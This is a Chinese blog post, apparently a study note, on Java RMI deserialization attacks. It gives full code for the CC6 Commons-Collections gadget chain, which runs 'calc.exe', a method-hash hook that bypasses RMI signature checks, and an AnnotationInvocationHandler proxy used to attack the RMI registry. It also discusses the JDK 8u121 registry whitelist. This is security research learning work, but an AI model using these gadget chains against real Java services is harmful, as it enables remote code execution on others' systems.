添砖 Java 壹 该学点正经东西了,开始视奸学长博客,哈哈;
RMI 学习一下 RMI 的配置:
Server 接口
1 2 3 4 5 public interface RemoteInterface extends Remote { public String sayHello () throws RemoteException; public String sayHello (Object name) throws RemoteException; public String sayGoodbye () throws RemoteException; }
调用类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class RemoteObject extends UnicastRemoteObject implements RemoteInterface { protected RemoteObject () throws RemoteException { } @Override public String sayHello () throws RemoteException { return "Hello My Friend" ; } @Override public String sayHello (Object name) throws RemoteException { return name.getClass().getName(); } @Override public String sayGoodbye () throws RemoteException { return "Bye" ; } }
创建注册中心,绑定端口
1 2 3 4 5 6 7 8 9 10 11 12 13 public class RMIServer { public static void main (String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException, InterruptedException { try { LocateRegistry.createRegistry(PORT); RemoteInterface remoteObject = mew RemoteObject () ; Naming.bind("rmi://127.0.0.1:1099/RemoteObject" , remoteObject); } catch (Exception e) { e.printStackTrace(); } } }
Client 调用接口
1 2 3 4 5 6 7 8 9 10 11 public class RMIClient { public static void main (String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry(RMI_SERVER_IP, PORT); System.out.println(Arrays.toString(registry.list())); RemoteInterface stub = (RemoteInterface) registry.lookup("RemoteObject" ); System.out.println(stub.sayHello()); System.out.println(stub.sayGoodbye()); } }
动态类加载 1 2 System.setProperty("java.rmi.server.codebase" , URL);
Client 调用的对象 RemoteObject
如果在 Server 不存在,如果 Server 有设置 java.rmi.server.codebase
,则会从 URL
寻找字节码 RemoteObject.class
;
安全策略 1 2 3 if (System.getSecurityManager() == null ) { System.setSecurityManager(new RMISecurityManager ()); }
安全策略 策略文件默认为:$JAVA_HOME/jre/lib/security/java.policy
:
自定义策略文件 rmi.policy :
1 2 3 grant { permission java.security.AllPermission; }
设置管理器:
1 2 3 4 if (System.getSecurityManager() == null ) { System.setSecurityManager(new RMISecurityManager ()); }
指定策略:
1 2 System.setProperty("java.security.policy" , RemoteServer.class.getClassLoader().getResource("rmi.policy" ).toString());
Server Attack evil params Client 端传 Object 对象给 Server,可以触发反序列化;
示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 public interface RMIClass extends Remote { public String sayHello () throws RemoteException; public String sayHello (Object o) throws RemoteException; } public class RMIServer { private static final String OBJECT_URL = "rmi://localhost:1099/Hello" ; private static final String POLICY_FILE = "rmi.policy" ; private static final String SERVER_START_MESSAGE = "SERVER STARTED" ; private static final int REGISTRY_PORT = 1099 ; public static void main (String[] args) throws MalformedURLException, AlreadyBoundException, RemoteException { System.setProperty("java.rmi.server.codebase" , CODEBASE_URL); System.setProperty("java.security.policy" , RMIServer.class.getClassLoader().getResource(POLICY_FILE).toString()); LocateRegistry.createRegistry(REGISTRY_PORT); RMIClass remoteObject = new RMIClassImpl (); Naming.bind(OBJECT_URL, remoteObject); System.out.println(SERVER_START_MESSAGE); } } public class RMIClient { private static final String BINDED_NAME = "Hello" ; private static final String IP = "127.0.0.1" ; private static final int PORT = 1099 ; public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry(IP, PORT); RMIClass stub = (RMIClass) registry.lookup(BINDED_NAME); System.out.println(Arrays.toString(registry.list())); System.out.println(stub.sayHello(getPayload())); } public static Object getPayload () throws Exception { } }
CS 分别运行,弹计算器;
另外不难想到,只要 Server 端接收非基本类型,都会触发反序列化,这里有一个问题:
如果 Server 接收和 Client 发送的类型签名不一致,会抛出一个错误,如果将 Server 端的 RMIClass
接口改为:
1 2 3 4 public interface RMIClass extends Remote { public String sayHello () throws RemoteException; public String sayHello (Integer i) throws RemoteException; }
报错如下:
在远程对象上找不到对应签名的方法所致,在 java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod
下一下断点:
里面有这样一段:
1 return ref.invoke((Remote) proxy, method, args, getMethodHash(method));
这里进行远程调用,事实上 getMethodHash
是用来定位方法的,而且 Client 可以被攻击者完全控制,因此使用 hook 在这里把被 hash 的 method
改为和远程对象一致的方法即可绕过对签名的检验;
首先在 Client 端的 RMIClass
接口加上目标函数:
1 2 3 4 5 public interface RMIClass extends Remote { public String sayHello () throws RemoteException; public String sayHello (Integer i) throws RemoteException; public String sayHello (Object name) throws RemoteException; }
断点处栈的状况:
将 method
改为:
1 RMIClass.class.getMethod("sayHello" , Integer.class)
即可绕过校验触发反序列化,弹出计算器;
故而只要有传非基本类型参数的函数,Server 端都可以反序列化任意 payload,这一层相当于通杀了;
看到这了重新学一下 CC6;
CC6 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 public static Object getEvilClass () throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ( "getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null } ), new InvokerTransformer ( "invoke" , new Class []{Object.class, Object[].class}, new Object []{Runtime.class, null } ), new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc.exe" } ) }; Transformer[] fakeTransformers = new Transformer [] {new ConstantTransformer (1 )}; Transformer transformerChain = new ChainedTransformer (fakeTransformers); Map innerMap = new HashMap <>(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry (outerMap, "test" ); Map expMap = new HashMap (); expMap.put(tiedMapEntry, "any" ); outerMap.remove("test" ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(transformerChain, transformers); return expMap; }
唯一需要注意的点是,中间 remove
去除了 LazyMap
在第一次 expMap.put()
时触发 tiedMapEntry.hashcode()
进而触发 tiedMapEntry.getValue()
进而触发 map.get()
时被 LazyMap
特性插入的值;
LazyMap
的特点是 get
不存在的值会触发 transformer
,然后返回并插入 transformer
的返回值,必须要移除掉这个值,靶机真正反序列化 payload 的时候才能再次调用恶意的 transformer;
理解了这一点,基本就理解了 CC6;
Registry Attack 先把 SDK 改成 JDK8u20
;
已知 registry.rebind()
,registry.bind()
,registry.lookup()
过程都会触发反序列化,以从 Server 端 registry.rebind()
打 Register 端为例,其传递的对象参数必须实现 Remote
接口,通过动态代理 InvocationHandler
的方式可以给 payload 包装一层 Remote
接口;
选用 AnnotationInvocationHandler
是因为其可以包含一个任意 Map
对象的序列化数据,很好用,因此与 CC1 被修复了无关,只要有反序列化 AnnotationInvocationHandler
的条件,这个包装方式其实是可以长足利用的;
进行代理之后辅以强转即可:
1 2 3 4 5 6 Constructor aihConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ). getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) aihConstructor.newInstance(Override.class, getEvilClass());Remote remote = (Remote) Proxy.newProxyInstance(RMIServer.class.getClassLoader(), new Class []{Remote.class}, handler);
完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public class RMIServer { private static final String OBJECT_URL = "rmi://localhost:1099/Hello" ; private static final String POLICY_FILE = "rmi.policy" ; private static final String SERVER_START_MESSAGE = "SERVER STARTED" ; private static final String REGISTRY_IP = "localhost" ; private static final int REGISTRY_PORT = 1099 ; public static void main (String[] args) throws Exception { System.setProperty("java.security.policy" , RMIServer.class.getClassLoader(). getResource(POLICY_FILE).toString()); LocateRegistry.createRegistry(REGISTRY_PORT); RMIClass remoteObject = new RMIClassImpl (); Naming.bind(OBJECT_URL, remoteObject); System.out.println(SERVER_START_MESSAGE); Registry registry = LocateRegistry.getRegistry(REGISTRY_IP, REGISTRY_PORT); Constructor aihConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ). getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) aihConstructor.newInstance(Override.class, getEvilClass()); Remote remote = (Remote) Proxy.newProxyInstance( RMIServer.class.getClassLoader(), new Class []{Remote.class}, handler); registry.rebind("QST" , remote); } public static Object getEvilClass () throws Exception { return expMap; } }
fix in jdk8u121 白名单 ObjectInputFilter
机制加入,RMI Registry 首当其冲,新增的 RegistryImpl#registryFilter
使用讨厌的白名单机制过滤反序列化数据的属性:
1 2 3 4 5 6 7 8 9 10 return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
下断点动调一下,发现 ObjectInputFilter
对类的检查是递归的,如 AnnotationInvocationHandle
这些内部类会被检查出来 REJECTED
掉;
如何用有限的类去构造 gadget 就成了问题,先写到这;
总会 粘腻的青春已然板结了他的土壤,播种下再多的种子,他的青春也只是一场空,而非能够在未来的某一天发芽了;
好想再来一次,虽然总会成为老师的。